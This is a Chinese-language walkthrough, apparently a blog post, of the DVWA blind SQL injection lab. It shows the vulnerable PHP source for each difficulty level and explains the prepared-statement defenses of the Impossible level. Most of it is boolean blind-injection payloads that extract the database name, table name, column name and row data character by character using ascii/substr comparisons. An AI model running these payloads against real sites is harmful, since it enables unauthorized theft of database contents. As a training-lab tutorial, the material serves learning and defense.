DVWA靶场通关----(8) SQL Injection(Blind)教程
SQL Injection(Blind)(SQL注入之盲注)
SQL Injection(Blind),SQL盲注,相比于常规的SQL注入,他不会将返回具体的数据信息或语法信息,只会将服务器包装后的信息返回到页面中。
常规SQL注入与SQL盲注详细对比
SQL注入 | 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等。 2.一般在页面上直接就会显示执行sql语句的结果。 |
SQL盲注 |
1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
2.一般在页面上不会直接显示sql执行的结果 3.有可能出现不确定sql是否执行的情况 |
(参考:https://www.jianshu.com/p/757626cec742)
布尔盲注与时间盲注对比
布尔盲注
时间盲注
SQL盲注流程
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
SQL盲注主题:
Low
源码解析
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors //最后的判断只有两种 num大于0输出User ID exists in the database num小于等于0 输出User ID is MISSING from the database if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
漏洞复现
对传参没有进行任何检查、过滤,返回参数只有User ID exists in the database.和User ID is MISSING from the database.两种
(1)首先找到注入点,判断注入的类型
1
1 \
1' # 猜闭合方式
(2)查找库名(以数据库名的第一个字母为例)(最终查到的库名:root)
1' and (select ascii(substr(database(),1,1)) > 111) # 1' and (select ascii(substr(database(),1,1)) > 120) # 1' and (select ascii(substr(database(),1,1)) > 115) # 1' and (select ascii(substr(database(),1,1)) > 113) # 1' and (select ascii(substr(database(),1,1)) = 114) #
(3)查找表名(以数据库的第一个表的第一个字母为例)(最终查到的表名:guestbook)
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 101) # 1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 110) # 1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 105) # 1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 103) # 1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 102) # 1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
(4)查找表中的第一个字段名(以数据库中第一个表的第一个字段为例)(最终查到的列名:comment_id)
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) > 101) # 1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 101) # 1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 90) # 1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 95) # 1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 98) # 1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 99) # 1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 100) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
(5)查找数据库中第一个表中第一个字段中的第一个数据的第一个字母(最终查到的数据:1)
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 101) # 1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 50) # 1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 30) # 1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 40) # 1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 45) # 1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 48) # 1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #
剩余的数据就不在一个一个具体的查找了,就按照这种方法,可以一个个的将数据全部查找出来。
Medium
源码解析
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; //对特殊符号 \x00,\n,\r,\,’,”,\x1a进行转义 $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
漏洞复现
Medium级别的代码利用mysql_real_escape_string函数对特殊符号 \x00,\n,\r,,’,”,\x1a 进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
和普通的SQL注入方式差不多,只是需要BP来抓包修改参数值
参考Low级别过程和 https://www.cnblogs.com/chadlas/articles/15724905.html 中的Medium级别过程
1 #
1 and (select ascii(substr(database(),1,1)) = 114) #
1 and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1 and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1 and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #
High
源码解析
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database //limit限制查询只能为1条 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { //返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
漏洞复现
#
注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。1' # 1' and (select ascii(substr(database(),1,1)) = 114) # 1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) # 1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) # 1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #
Impossible
源码解析
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token //使用token机制 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? //对输入的id进行是否为数字的判断 if(is_numeric( $id )) { // Check the database //使用limit对查询的结果进行限制 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); //使用PDO $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
漏洞复现
- impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
- 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
- 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
- Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
ASCII码对照表
参考文章:https://www.jianshu.com/p/757626cec742